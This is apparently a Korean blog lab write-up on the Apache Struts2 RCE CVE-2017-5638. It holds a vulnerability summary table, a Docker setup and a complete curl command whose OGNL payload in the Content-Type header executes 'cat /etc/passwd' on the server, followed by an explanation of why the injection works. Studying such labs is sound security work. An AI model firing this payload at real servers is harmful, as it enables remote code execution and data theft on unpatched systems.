카테고리 없음
CVE-2017-5638 (Apache Structs2 RCE.H)
from-alien
2025. 6. 18. 17:46
| 항목 | 내용 |
| Apache Struts2 RCE.H (CVE-2017-5638) | 영향 받는 소프트웨어 Apache Struts 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10 |
| 취약한 구성요소 | Jakarta Multipart Parser (Content-Type 헤더 처리 방식) |
| 공격 유형 | RCE (Remote Code Execution, 원격 코드 실행) |
| 공격 조건 | Struts2에서 파일 업로드 기능(Jakarta parser)을 사용하는 경우 |
| 공격 방법 | Content-Type 헤더에 OGNL 표현식 삽입하여 서버 측 코드 실행 |
| 예시 패킷 | Content-Type: %{(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X','V'))}.multipart/form-data |
| 공격 결과 | 원격 명령 실행, 시스템 제어, 백도어 설치 등 |
| 공식 패치 | 2.3.32 / 2.5.10.1 버전에서 취약점 제거 |
| CVSS | 10.0/10.0 (최고 위험도) |
PoC 환경구축
| 구분 | 내용 |
| 실행 환경 | 윈도우/Powershell/Docker DeskTop/WSL 기반 |
| ATTACKER IP / VICTIM IP | 구분하여 공격 실행 |
| 공격 METHOD | cmd : curl 명령을 사용하여 content type header에 페이로드 삽입 |
| 사용한 이미지 | structs2-vuln |
| 취약점 대상 | Apache Structs2(업로드 기능 있는 .action) |
| 포트 포워딩 | Local에서 8081 -> 컨테이너 실행 |


mvn dependency:get -Dartifact=org.apache.struts:struts2-showcase:2.3.12:war -Ddest=./struts2-vuln.war
나는 도커 이미지를 다운 받고 취약한 apache sturcts 서버가 정상 작동하지 않아서 수동으로 maven 공식 사이트에서 다운을 받았다. 혹시 환경 구성을 하는데 잘되지 않는다면 수동으로 다운 받아서 해보기를 권장한다.
해당 공격을 수행하기 위한 curl 명령어 요약
curl -v -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).\
(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').\
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
http://<ip>:8081/exploit/fileupload/upload.action -d "test=test"
Content-Type 헤더에 삽입하면 실행원리
Struts2와 OGNL
- Apache Struts2는 자바 기반 웹 프레임워크로, OGNL (Object Graph Navigation Language)이라는 표현식을 이용해 내부 변수나 객체에 접근 가능.
- 특정 버전에서는 잘못된 요청 처리 과정에서 헤더 값에 포함된 OGNL 표현식을 실행하게 되는 취약한 구조가 있었음.
취약점 발생 위치
- Struts2의 MultiPartRequestWrapper 클래스는 Content-Type 헤더가 multipart/form-data일 때 이를 파싱하며, 이 과정에서 OGNL 표현식을 코드로 해석하는 취약점이 존재함.
- 즉, Content-Type 헤더 안에 악의적인 OGNL 표현식이 포함되면, 이를 Java 코드로 평가하여 실행하게 됨.
실행 흐름
- 서버는 Content-Type: multipart/form-data 를 처리하기 위해 내부적으로 OGNL 표현식을 파싱
- 이때 삽입한 OGNL 페이로드가 그대로 실행됨
- 예시 페이로드는 시스템 명령어 cat /etc/passwd 를 실행시키는 코드
- 실행 결과가 웹 응답으로 전송되어 공격자에게 전달됨



위 공격자 Pc는 통신을 위해서 3 way handshake를 통해서 통신 규약을 맺고 curl 명령어로 post 요청을 한뒤 Content-Type 헤더에 ognl 표현식을 악의적으로 사용하여 post요청을 하여 upload-action을 한 내용을 패킷 캡처를 통해서 알 수 있었다.
